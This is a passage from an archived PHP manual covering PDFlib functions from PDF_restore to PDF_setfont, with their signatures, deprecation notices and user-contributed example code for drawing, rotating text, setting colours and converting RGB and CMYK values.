 pdf_lineto($pdfobj, $xpos+$xsize, $ypos-$radius);
 pdf_arc($pdfobj, $xpos+$xsize-$radius, $ypos-$radius, $radius,0,90);
 pdf_lineto($pdfobj, $xpos+$radius, $ypos);
 pdf_arc($pdfobj, $xpos+$radius, $ypos-$radius, $radius,90,180);
}
?>


Restore graphics state

  • « PDF_rect
  • PDF_resume_page »
  • PHP Manual
  • PDF Functions
  • Restore graphics state

PDF_restore

(PHP 4, PECL pdflib >= 1.0.0)

PDF_restore — Restore graphics state

Description

bool PDF_restore ( resource $p )

Restores the most recently saved graphics state. Returns TRUE on success or FALSE on failure.

User Contributed Notes

bob at nijman dot de 02-Aug-2001 02:11
By playing around with this you'll get a better understanding of what pdf_save and pdf_restore do.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","Sponsored by www.nijman.de");
pdf_set_info($pdf, "Creator", "See Author");
pdf_set_info($pdf, "Subject", "pdf_restore");
pdf_begin_page($pdf, 300, 300);

/*
By encapsulating the changes we make to the coordinate system
(pdf_translate() and pdf_rotate()) between pdf_save() and pdf_restore
we give these changes only local scope.
*/

/*
SMALL RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (100,100)
pdf_translate($pdf, 100, 100);
//Rotate the coordinate system by 45 degrees.
pdf_rotate($pdf, 45);
//Draw a samll rectangle
pdf_rect($pdf, 0, 0, 20, 20);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

/*
LARGER RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (10,20)
pdf_translate($pdf, 10, 20);
//Rotate the coordinate system by 15 degrees.
pdf_rotate($pdf, 15);
//Draw a larger rectangle
pdf_rect($pdf, 0, 0, 40, 40);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=nijman.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11


Resume page

  • « PDF_restore
  • PDF_rotate »
  • PHP Manual
  • PDF Functions
  • Resume page

PDF_resume_page

(PECL pdflib >= 2.0.0)

PDF_resume_page — Resume page

Description

bool PDF_resume_page ( resource $pdfdoc , string $optlist )

Resumes a page to add more content to it.

User Contributed Notes

Anonymous 06-Sep-2012 03:03
For those trying to figure out how on earth to use this function:

<?php
PDF_suspend_page($pdf, '');
PDF_resume_page($pdf, 'pagenumber=1');
?>


Rotate coordinate system

  • « PDF_resume_page
  • PDF_save »
  • PHP Manual
  • PDF Functions
  • Rotate coordinate system

PDF_rotate

(PHP 4, PECL pdflib >= 1.0.0)

PDF_rotate — Rotate coordinate system

Description

bool PDF_rotate ( resource $p , float $phi )

Rotates the coordinate system. Returns TRUE on success or FALSE on failure.

User Contributed Notes

notrub225 at yahoo dot com 11-Feb-2008 05:29
Many of the functions used in the post below are deprecated. Here is the modern Object Oriented version that is almost the same line by line and uses the PDFlib() class:

<?php
    $pdf = new PDFlib();
    $pdf->begin_document("","");
    $pdf->set_info("Creator","images.php");
    $pdf->set_info("Title","Horizontal and Vertical Example");
    // Width of 612, and length of 792 make US Letter Size
    // Dimensions are reversed for Landscape Mode
    $pdf->begin_page_ext(792,612,'');

    $font = $pdf->load_font("Helvetica-Oblique", "iso8859-1", "");
    $pdf->setfont($font, 18);
    $pdf->show_xy("This is horizontal text",50, 300);
    $pdf->rotate(90); /* rotate coordinates */
    $pdf->show_xy("vertical text",300, -400);

    $pdf->rotate(-90); /* rotate coordinates */;
    $pdf->show_xy("This is horizontal text",50, 400);

    $pdf->end_page_ext("");
    $pdf->end_document("");
    $buf = $pdf->get_buffer();
    $len = strlen($buf);
    Header("Content-type: application/pdf");
    Header("Content-Length: $len");
    Header("Content-Disposition: inline; filename=images.pdf");
    echo $buf;
    $pdf->delete();
?>
gman at speakeasy dot net 31-Jan-2003 03:17
Thanks for your help, this is a clean working example ...
<?php
    $pdf = pdf_new();
    pdf_open_file($pdf);
    pdf_set_info($pdf,"Creator","images.php");
    pdf_set_info($pdf,"Title","Horizontal and Vertical Example");
    // Width of 612, and length of 792 make US Letter Size
    // Dimensions are reversed for Landscape Mode
    pdf_begin_page($pdf,792,612);

    pdf_set_font($pdf, "Helvetica-Oblique", 18, "host");
    pdf_show_xy($pdf, "This is horizontal text",50, 300);
    pdf_rotate($pdf, 90); /* rotate coordinates */
    pdf_show_xy($pdf,"vertical text",300, -400);

    pdf_rotate($pdf, -90); /* rotate coordinates */;
    pdf_show_xy($pdf, "This is horizontal text",50, 400);

    pdf_end_page($pdf);
    pdf_close($pdf);
    $buf = pdf_get_buffer($pdf);
    $len = strlen($buf);
    Header("Content-type: application/pdf");
    Header("Content-Length: $len");
    Header("Content-Disposition: inline; filename=images.pdf");
    echo $buf;
    pdf_delete($pdf);
?>
bml137 at myglo dot net 27-Jan-2003 08:11
When you rotate, remember that you are rotating the coordinate system.  So if you are rotating 90 degrees with the origin at (0,0) (bottom-left corner on PDFs) in the clockwise direction, then the pivot appears to be on the top-left of the PDF.  For instance, if you put a sheet of paper on the table in vertical position, then rotate it clockwise 90 degrees by pivoting from the bottom-left corner, the pivot (or origin) will now be in the top-left corner of the horizontal paper.  As you can see, you now have room show text in the +x, -y directions, not +x, +y.


Save graphics state

  • « PDF_rotate
  • PDF_scale »
  • PHP Manual
  • PDF Functions
  • Save graphics state

PDF_save

(PHP 4, PECL pdflib >= 1.0.0)

PDF_save — Save graphics state

Description

bool PDF_save ( resource $p )

Saves the current graphics state. Returns TRUE on success or FALSE on failure.

User Contributed Notes

bob at nijman dot de 02-Aug-2001 02:12
By playing around with this you'll get a better understanding of what pdf_save and pdf_restore do.

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","Sponsored by www.nijman.de");
pdf_set_info($pdf, "Creator", "See Author");
pdf_set_info($pdf, "Subject", "pdf_restore");
pdf_begin_page($pdf, 300, 300);

/*
By encapsulating the changes we make to the coordinate system
(pdf_translate() and pdf_rotate()) between pdf_save() and pdf_restore
we give these changes only local scope.
*/

/*
SMALL RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (100,100)
pdf_translate($pdf, 100, 100);
//Rotate the coordinate system by 45 degrees.
pdf_rotate($pdf, 45);
//Draw a samll rectangle
pdf_rect($pdf, 0, 0, 20, 20);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

/*
LARGER RECTANGLE
*/

pdf_save($pdf);
//move the origin of the coordinate system to (10,20)
pdf_translate($pdf, 10, 20);
//Rotate the coordinate system by 15 degrees.
pdf_rotate($pdf, 15);
//Draw a larger rectangle
pdf_rect($pdf, 0, 0, 40, 40);
pdf_stroke($pdf);
//Restore the graphics state to the way it was
//before we started to translate and rotate
pdf_restore($pdf);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=nijman.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>

Thanx to:
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11


Scale coordinate system

  • « PDF_save
  • PDF_set_border_color »
  • PHP Manual
  • PDF Functions
  • Scale coordinate system

PDF_scale

(PHP 4, PECL pdflib >= 1.0.0)

PDF_scale — Scale coordinate system

Description

bool PDF_scale ( resource $p , float $sx , float $sy )

Scales the coordinate system. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set border color of annotations [deprecated]

  • « PDF_scale
  • PDF_set_border_dash »
  • PHP Manual
  • PDF Functions
  • Set border color of annotations [deprecated]

PDF_set_border_color

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_border_color — Set border color of annotations [deprecated]

Description

bool PDF_set_border_color ( resource $p , float $red , float $green , float $blue )

Sets the border color for all kinds of annotations. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use the option annotcolor in PDF_create_annotation() instead.

User Contributed Notes

There are no user contributed notes for this page.


Set border dash style of annotations [deprecated]

  • « PDF_set_border_color
  • PDF_set_border_style »
  • PHP Manual
  • PDF Functions
  • Set border dash style of annotations [deprecated]

PDF_set_border_dash

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_set_border_dash — Set border dash style of annotations [deprecated]

Description

bool PDF_set_border_dash ( resource $pdfdoc , float $black , float $white )

Sets the border dash style for all kinds of annotations. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use the option dasharray in PDF_create_annotation() instead.

User Contributed Notes

There are no user contributed notes for this page.


Set border style of annotations [deprecated]

  • « PDF_set_border_dash
  • PDF_set_char_spacing »
  • PHP Manual
  • PDF Functions
  • Set border style of annotations [deprecated]

PDF_set_border_style

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_border_style — Set border style of annotations [deprecated]

Description

bool PDF_set_border_style ( resource $pdfdoc , string $style , float $width )

Sets the border style for all kinds of annotations. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use the options borderstyle and linewidth in PDF_create_annotation() instead.

User Contributed Notes

Captain Len 25-Mar-2004 06:50
If width = 0, the annotation borders will be invisible.


Set character spacing [deprecated]

  • « PDF_set_border_style
  • PDF_set_duration »
  • PHP Manual
  • PDF Functions
  • Set character spacing [deprecated]

PDF_set_char_spacing

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_char_spacing — Set character spacing [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with parameter charspacing instead.

User Contributed Notes

There are no user contributed notes for this page.


Set duration between pages [deprecated]

  • « PDF_set_char_spacing
  • PDF_set_gstate »
  • PHP Manual
  • PDF Functions
  • Set duration between pages [deprecated]

PDF_set_duration

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_duration — Set duration between pages [deprecated]

Description

This function is deprecated since PDFlib version 3, use the duration option in PDF_begin_page_ext() or PDF_end_page_ext() instead.

User Contributed Notes

There are no user contributed notes for this page.


Activate graphics state object

  • « PDF_set_duration
  • PDF_set_horiz_scaling »
  • PHP Manual
  • PDF Functions
  • Activate graphics state object

PDF_set_gstate

(PECL pdflib >= 2.0.0)

PDF_set_gstate — Activate graphics state object

Description

bool PDF_set_gstate ( resource $pdfdoc , int $gstate )

Activates a graphics state object.

User Contributed Notes

There are no user contributed notes for this page.


Set horizontal text scaling [deprecated]

  • « PDF_set_gstate
  • PDF_set_info_author »
  • PHP Manual
  • PDF Functions
  • Set horizontal text scaling [deprecated]

PDF_set_horiz_scaling

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_horiz_scaling — Set horizontal text scaling [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with parameter horizscaling instead.

User Contributed Notes

There are no user contributed notes for this page.


Fill the author document info field [deprecated]

  • « PDF_set_horiz_scaling
  • PDF_set_info_creator »
  • PHP Manual
  • PDF Functions
  • Fill the author document info field [deprecated]

PDF_set_info_author

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_author — Fill the author document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.


Fill the creator document info field [deprecated]

  • « PDF_set_info_author
  • PDF_set_info_keywords »
  • PHP Manual
  • PDF Functions
  • Fill the creator document info field [deprecated]

PDF_set_info_creator

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_creator — Fill the creator document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.


Fill the keywords document info field [deprecated]

  • « PDF_set_info_creator
  • PDF_set_info_subject »
  • PHP Manual
  • PDF Functions
  • Fill the keywords document info field [deprecated]

PDF_set_info_keywords

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_keywords — Fill the keywords document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.


Fill the subject document info field [deprecated]

  • « PDF_set_info_keywords
  • PDF_set_info_title »
  • PHP Manual
  • PDF Functions
  • Fill the subject document info field [deprecated]

PDF_set_info_subject

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_subject — Fill the subject document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.


Fill the title document info field [deprecated]

  • « PDF_set_info_subject
  • PDF_set_info »
  • PHP Manual
  • PDF Functions
  • Fill the title document info field [deprecated]

PDF_set_info_title

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_info_title — Fill the title document info field [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_info() instead.

User Contributed Notes

There are no user contributed notes for this page.


Fill document info field

  • « PDF_set_info_title
  • PDF_set_layer_dependency »
  • PHP Manual
  • PDF Functions
  • Fill document info field

PDF_set_info

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_set_info — Fill document info field

Description

bool PDF_set_info ( resource $p , string $key , string $value )

Fill document information field key with value. Returns TRUE on success or FALSE on failure.

User Contributed Notes

many dot uy at hotmail dot com 13-Jun-2008 06:48
<?php
$pdf = pdf_new();

pdf_open_file($pdf, "test.pdf");

// set PDF properties
pdf_set_info($pdf, "Author", "Martín Gonzalez");
pdf_set_info($pdf, "Title", "Test PDF");
pdf_set_info($pdf, "Creator", "Martín Gonzalez");
pdf_set_info($pdf, "Subject", "Test  PDF");

?>


Define relationships among layers

  • « PDF_set_info
  • PDF_set_leading »
  • PHP Manual
  • PDF Functions
  • Define relationships among layers

PDF_set_layer_dependency

(PECL pdflib >= 2.0.0)

PDF_set_layer_dependency — Define relationships among layers

Description

bool PDF_set_layer_dependency ( resource $pdfdoc , string $type , string $optlist )

Defines hierarchical and group relationships among layers. Returns TRUE on success or FALSE on failure.

This function requires PDF 1.5.

User Contributed Notes

There are no user contributed notes for this page.


Set distance between text lines [deprecated]

  • « PDF_set_layer_dependency
  • PDF_set_parameter »
  • PHP Manual
  • PDF Functions
  • Set distance between text lines [deprecated]

PDF_set_leading

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_leading — Set distance between text lines [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with the parameter leading instead.

User Contributed Notes

staemmler at gmx dot de 30-Nov-2000 06:22
You need to call pdf_set_leading() before pdf_continue_text() every time for proper work.


Set string parameter

  • « PDF_set_leading
  • PDF_set_text_matrix »
  • PHP Manual
  • PDF Functions
  • Set string parameter

PDF_set_parameter

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_parameter — Set string parameter

Description

bool PDF_set_parameter ( resource $p , string $key , string $value )

Sets some PDFlib parameter with string type. Returns TRUE on success or FALSE on failure.

User Contributed Notes

phillip at formstar dot com 11-Oct-2000 08:12
Here is a list of keywords and possible values:
/*
 * PDF_get_parameter() and PDF_set_parameter() deal with strings,
 * PDF_get_value() and PDF_set_value() deal with numerical values.
 */

/* setup */                                /* value set for 3rd arg */
"compress"    /* set_parameter */            | '[0-9]'
"resourcefile"    /* set_parameter */        Free string
"FontAFM"    /* set_parameter */        Free string
"FontPFM"    /* set_parameter */        Free string
"FontOutline"    /* set_parameter */        Free string
"Encoding"    /* set_parameter */        Free string
"debug"        /* set_parameter */        Free string (if 'c' is 1st char, compress off)
"nodebug"    /* set_parameter */        Free string (if 'c' is 1st char, compress on)
"compatibility"    /* set_parameter */ | '1.2' | '1.3'
"prefix"    /* set_parameter */        Free string
"warning"    /* set_parameter */
"binding"    /* internal use only */
"flush"        /* set_parameter */            |'none' | 'page' | 'content' | 'heavy'

/* page */
"pagewidth"    /* set_value */        | float for pixel value |
"pageheight"    /* set_value */    | float for pixel value |

/* font and text */
"textx"        /* get_value */        | 0 |
"texty"        /* get_value */        | 0 |
"font"        /* get_value */        | 0 |
"fontsize"    /* get_value */        | 0 |
"leading"    /* set_value */        | cur_font_size + points down |
"textrise"    /* set_value */
"horizscaling"    /* set_value */
"textrendering"    /* set_value */
"charspacing"    /* set_value */
"wordspacing"    /* set_value */
"underline"    /* set_parameter */    | 'true' | 'false'
"overline"    /* set_parameter */    | 'true' | 'false'
"strikeout"    /* set_parameter */    | 'true' | 'false'
"fontname"    /* get_parameter */    | 0 - 256 |
"capheight"    /* get_value */        | 0 - 256 |
"ascender"    /* get_value */        | 0 - 256 |
"descender"    /* get_value */        | 0 - 256 |

/* graphics */
"currentx"    /* get_value */        | 0 |
"currenty"    /* get_value */        | 0 |
"fillrule"    /* set_parameter */    |'winding'|'evenodd'

/* image */
"imagewidth"    /* get_value */    | image file descriptor: > 0, < 256 |
"imageheight"    /* get_value */    | image file descriptor: > 0, < 256 |
"resx"        /* get_value */        | image file descriptor: > 0, < 256 |
"resy"        /* get_value */        | image file descriptor: > 0, < 256 |

/* hypertext */
"openaction"    /* set_parameter */ |'retain'|'fitpage'|'fitbbox'|'fitwidth'|'fitheight'
"transition"    /* set_parameter */
"duration"    /* set_value */
max at cnsys dot bg 06-Jul-2000 06:01
About parameters and all about PDF functions you can find at: www.pdflib.com - get the latest version of pdflib with documentation


Set text matrix [deprecated]

  • « PDF_set_parameter
  • PDF_set_text_pos »
  • PHP Manual
  • PDF Functions
  • Set text matrix [deprecated]

PDF_set_text_matrix

(PHP 4 <= 4.0.4)

PDF_set_text_matrix — Set text matrix [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_scale(), PDF_translate(), PDF_rotate(), or PDF_skew() instead.

User Contributed Notes

There are no user contributed notes for this page.


Set text position

  • « PDF_set_text_matrix
  • PDF_set_text_rendering »
  • PHP Manual
  • PDF Functions
  • Set text position

PDF_set_text_pos

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_text_pos — Set text position

Description

bool PDF_set_text_pos ( resource $p , float $x , float $y )

Sets the position for text output on the page. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Determine text rendering [deprecated]

  • « PDF_set_text_pos
  • PDF_set_text_rise »
  • PHP Manual
  • PDF Functions
  • Determine text rendering [deprecated]

PDF_set_text_rendering

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_text_rendering — Determine text rendering [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with the textrendering parameter instead.

User Contributed Notes

There are no user contributed notes for this page.


Set text rise [deprecated]

  • « PDF_set_text_rendering
  • PDF_set_value »
  • PHP Manual
  • PDF Functions
  • Set text rise [deprecated]

PDF_set_text_rise

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_text_rise — Set text rise [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with the textrise parameter instead.

User Contributed Notes

There are no user contributed notes for this page.


Set numerical parameter

  • « PDF_set_text_rise
  • PDF_set_word_spacing »
  • PHP Manual
  • PDF Functions
  • Set numerical parameter

PDF_set_value

(PHP 4 >= 4.0.1, PECL pdflib >= 1.0.0)

PDF_set_value — Set numerical parameter

Description

bool PDF_set_value ( resource $p , string $key , float $value )

Sets the value of some PDFlib parameter with numerical type. Returns TRUE on success or FALSE on failure.

User Contributed Notes

bigpub at ifrance dot com 26-Jan-2002 01:22
Sets various minor options in the PDF file. There are a number of available options which are able to be set for various properties including document and font properties.

textrendering  0 - Fill text
1 - Stroke text (outline)
2 - Fill and stroke test
3 - Invisible text
4 - Fill text and add to clipping path
5 - Stroke text and add to clipping path
6 - Fill and stroke text and add to clipping path
7 - Add text to the clipping path

compress  Document compression. Has a range from 0-9 0 - No compression
1 - Best speed
6 - Default value
9 - Best compression

pagewidth  Page width
pageheight  Page height
leading  Text leading or space between lines
textrise  Distance between the text position and the baseline. Positive values move the text up while negative values move the text down. Ideal for superscripts and subscripts
horizscaling  Sets the horizontal text scaling. Must be a value greater than 0. Reset to 100 and the start of a new page
charspacing  Distance between individual characters in a string. Use positive values to spread text apart and negative values to bring text closer together. Reset to 0 at the start of a new page
wordspacing  Distance between words in a string. Use positive values to spread text apart and negative values to bring text closer together. Reset to 0 at the start of a new page. Does not affect multi-byte encodings
duration  When using transition effects sets the display duration for the current page. Defailt is 1 second


Set spacing between words [deprecated]

  • « PDF_set_value
  • PDF_setcolor »
  • PHP Manual
  • PDF Functions
  • Set spacing between words [deprecated]

PDF_set_word_spacing

(PHP 4, PECL pdflib >= 1.0.0)

PDF_set_word_spacing — Set spacing between words [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_set_value() with the wordspacing parameter instead.

User Contributed Notes

There are no user contributed notes for this page.


Set fill and stroke color

  • « PDF_set_word_spacing
  • PDF_setdash »
  • PHP Manual
  • PDF Functions
  • Set fill and stroke color

PDF_setcolor

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_setcolor — Set fill and stroke color

Description

bool PDF_setcolor ( resource $p , string $fstype , string $colorspace , float $c1 , float $c2 , float $c3 , float $c4 )

Sets the current color space and color. Returns TRUE on success or FALSE on failure.

User Contributed Notes

cancausecancer at yahoo dot com 15-Jan-2011 01:39
Here is a quick snippet to convert CMYK to RGB. It has better precision than a lot of other solutions that also don't factor in colour profiles.

<?php

$cmyk = '10,20,100,31';
list($c, $m, $y, $k) = explode(',', $cmyk);

# Gets the rgb as floats (cast via (int) if you want int )
$r = (1 - min(($c / 100) * (1 - $k /= 100) + 1 * $k, 1)) * 255;
$g = (1 - min(($m / 100) * (1 - $k) + 1 * $k, 1)) * 255;
$b = (1 - min(($y / 100) * (1 - $k) + 1 * $k, 1)) * 255;

echo "$r $g $b\r\n";

# Converts the rgb to hex with leading 0's
$r = str_pad(dechex($r), 2, '0', STR_PAD_LEFT);
$g = str_pad(dechex($g), 2, '0', STR_PAD_LEFT);
$b = str_pad(dechex($b), 2, '0', STR_PAD_LEFT);

echo "hex: $r$g$b\r\n";

/* an example to see the colour via html
echo '<div style="width: 80px; height: 80px; background-color: #', "$r$g$b", '"></div>';
*/
?>
_meto ALT+q web.de 08-May-2004 06:03
Damn, this took me some real long time! Maybe it's helpfull for those who even have no idea of color-Schemes like me ;)

If u want to generate PDF's for Print Offices u need to set all the colors in CMYK.

Here is a Function that will convert RGB to CMYK

<?
function hex2rgb($hex) {
  $color = str_replace('#','',$hex);
  $rgb = array('r' => hexdec(substr($color,0,2)),
               'g' => hexdec(substr($color,2,2)),
               'b' => hexdec(substr($color,4,2)));
  return $rgb;
}

function rgb2cmyk($var1,$g=0,$b=0) {
   if(is_array($var1)) {
      $r = $var1['r'];
      $g = $var1['g'];
      $b = $var1['b'];
   }
   else $r=$var1;
   $cyan    = 255 - $r;
   $magenta = 255 - $g;
   $yellow  = 255 - $b;
   $black   = min($cyan, $magenta, $yellow);
   $cyan    = @(($cyan    - $black) / (255 - $black)) * 255;
   $magenta = @(($magenta - $black) / (255 - $black)) * 255;
   $yellow  = @(($yellow  - $black) / (255 - $black)) * 255;
   return array('c' => $cyan / 255,
                'm' => $magenta / 255,
                'y' => $yellow / 255,
                'k' => $black / 255);
}

$color=rgb2cmyk(hex2rgb('#FF0000'));
pdf_setcolor($pdf, "both", "cmyk", $color['c'], $color['m'], $color['y'], $color['k']);
?>

U can call it with parameters (r,g,b) or just an array(r,g,b) that contains these values.

Hope it works correct. All testing was fine.
enyo vel cora 13-Jan-2004 01:32
This seems a little less complicated:

this is the color you want to use : 'FF11AA'

<?php
pdf_setcolor ($pdf, 'both', 0xFF / 255, 0x11 / 255, 0xAA / 255);
?>
php at perfectweb dotcom 30-Apr-2003 01:22
Here's a better implementation for setting HTML hexadecimal colors:

function pdf_setcolor_hex($hexcolor, $type = '')
{
    global $pdf;     ## match this to your pdf resource handle
       $color['r'] = hexdec(substr($hexcolor, 0, 2))/255;
       $color['g'] = hexdec(substr($hexcolor, 2, 2))/255;
       $color['b'] = hexdec(substr($hexcolor, 4, 2))/255;
       if ($type != 'fill' && $type != 'stroke')  $type = 'both';
       pdf_setcolor($pdf, $type, 'rgb', $color['r'], $color['g'], $color['b']);
}

Sample usage:
pdf_setcolor_hex('FFFFFF', 'fill');

-Derek
php at perfectweb dotcom 29-Apr-2003 09:59
Here's a function for converting HTML hexadecimal colors to RGB decimals suitable for this function:

$color_hex = "FF0000";       ## whatever hex color you want
$color = convert_hexcolor_rgbdec($color_hex);
pdf_setcolor($pdf, 'fill', 'rgb', $color['r'], $color['g'], $color['b']);

function convert_hexcolor_rgbdec($color_hex)
{
   $color['r'] = hexdec(substr($color_hex, 0, 2))/255;
   $color['g'] = hexdec(substr($color_hex, 2, 2))/255;
   $color['b'] = hexdec(substr($color_hex, 4, 2))/255;
   return $color;
}

-Derek
maurice dot anglebert at free dot fr 28-Apr-2003 05:25
Bonjour,

Cette fonction est utilisable pour d�finir une couleur de police.

Hello,

I search for the way of setting colors for the font in pdf and I find this.
Hope it could help.

<?php
/**
*    set font color
*    maurice.anglebert@free.fr
*/

// path for the pdf file and string to show
$pdfFilePath = $_SERVER[DOCUMENT_ROOT]."/the_dir_of_the_file/test.pdf";
$string = "The new color of my font";

$pdf = pdf_new();
pdf_open_file($pdf, $pdfFilePath);
pdf_set_info($pdf, "Title", "Test pdf");
// A4 page
pdf_begin_page($pdf, 595, 842);

// set up of the font
$font = pdf_findfont($pdf, "Courier", "host", FALSE);
    if (isset($font)) {
       pdf_setfont($pdf, $font, 10) or die ("unknown font");
    }

pdf_setColor($pdf, "fill", "rgb",0, 0, 1);
// this for blue color
// pdf_setColor($pdf, "fill", "rgb",1, 0, 0) for red

pdf_set_value($pdf, "textrendering", 0);
// show at the top of the page center
pdf_show_boxed($pdf, $string, 0, 832, 595, 10, "center", "");

// resets graphic state
pdf_initGraphics($pdf);
// end of page and pdf_object
pdf_end_page($pdf);
pdf_close($pdf);
pdf_delete($pdf);

// use header to get the file
header("Content-type: application/pdf");
header("Content-length: ".filesize($pdfFilePath));
header("Content-disposition: inline; filename=test.pdf");
readfile($pdfFilePath);
?>
psychosos at gmx dot at 16-Apr-2003 07:51
If you want to change the font color you need to set type to  "fill", not "stroke" ("both" also works, of course).
steven dot gould at NO_SPAM dot stevengould dot org 21-Dec-2001 08:44
If you encounter errors of the form function 'PDF_setcolor' must not be called in 'path' scope this generally means that you've called the PDFLib functions in the wrong order. For example, the following would be *incorrect* because PDF_rect marks the beginning of the "path scope", and set_color must not be called in path scope:

<?php

// THIS CODE WILL PRODUCE AN ERROR
PDF_rect($pdf,0,0,$width,$height);
PDF_setcolor($pdf,$red,$green,$blue);
PDF_fill($pdf);
<p>The correct order of function calls is as follows:
<p>// Correct order of function calls
PDF_setcolor($pdf,$red,$green,$blue);
PDF_rect($pdf,0,0,$width,$height);
PDF_fill($pdf);

?>


Set simple dash pattern

  • « PDF_setcolor
  • PDF_setdashpattern »
  • PHP Manual
  • PDF Functions
  • Set simple dash pattern

PDF_setdash

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setdash — Set simple dash pattern

Description

bool PDF_setdash ( resource $pdfdoc , float $b , float $w )

Sets the current dash pattern to b black and w white units. Returns TRUE on success or FALSE on failure.

User Contributed Notes

Rkane 12-Sep-2006 08:18
Here is how I added a dashed line to my pdf.  I couldn't find any info on this, so I decided to write what I learned from trial and error.

On a page that is 612px wide and signified by $p, I drew a dashed line from left to right.
$p = pdf_new();
pdf_begin_document($p,"","");
pdf_begin_page_ext($p,612,792,"");

pdf_setdash($p,3,7);      //3,7 can be any set of numbers
pdf_save($p);                //This saves what already there
pdf_moveto($p,0,700);   //move the pointer here
pdf_lineto($p,612,700);      //draw a line
pdf_closepath_stroke($p);  //show the line
pdf_restore($p);               //put it all back

pdf_end_page_ext($p,"");
pdf_end_document($p,"");

$buf = pdf_get_buffer($p);
$len = strlen($buf);
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=hello.pdf");
print $buf;


Set dash pattern

  • « PDF_setdash
  • PDF_setflat »
  • PHP Manual
  • PDF Functions
  • Set dash pattern

PDF_setdashpattern

(PECL pdflib >= 2.0.0)

PDF_setdashpattern — Set dash pattern

Description

bool PDF_setdashpattern ( resource $pdfdoc , string $optlist )

Sets a dash pattern defined by an option list. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set flatness

  • « PDF_setdashpattern
  • PDF_setfont »
  • PHP Manual
  • PDF Functions
  • Set flatness

PDF_setflat

(PHP 4, PECL pdflib >= 1.0.0)

PDF_setflat — Set flatness

Description

bool PDF_setflat ( resource $pdfdoc , float $flatness )

Sets the flatness parameter. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set font

  • « PDF_setflat
  • PDF_setgray_fill »
  • PHP Manual
  • PDF Functions
  • Set font

PDF_setfont

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_setfont — Set font

Description

bool PDF_setfont ( resource $pdfdoc , int $font , float $fontsize )

Sets the current font in the specified size, using a font handle returned by PDF_load_font(). Returns TRUE on success or FALSE on failure.

User Contributed Notes

info at techcare dot ch 14-Dec-2008 01:22
Note that core font Helvetica-Bold does not accept font sizes>12 .
This probably affects other core fonts.
pcheely at presensit dot com 24-Oct-2007 02:56
Here is a simple function to ease changing fonts in your PDF.

function pdf_font($pdf,$size,$face='arial')
{
   //Set the path
   $path=$_SERVER['DOCUMENT_ROOT'];
   ${$face} = $face."=$path/fonts/".$face.".ttf";

   pdf_set_parameter($pdf, 'FontOutline',${$face});

   $font=pdf_findfont($pdf,$face,"host",0);

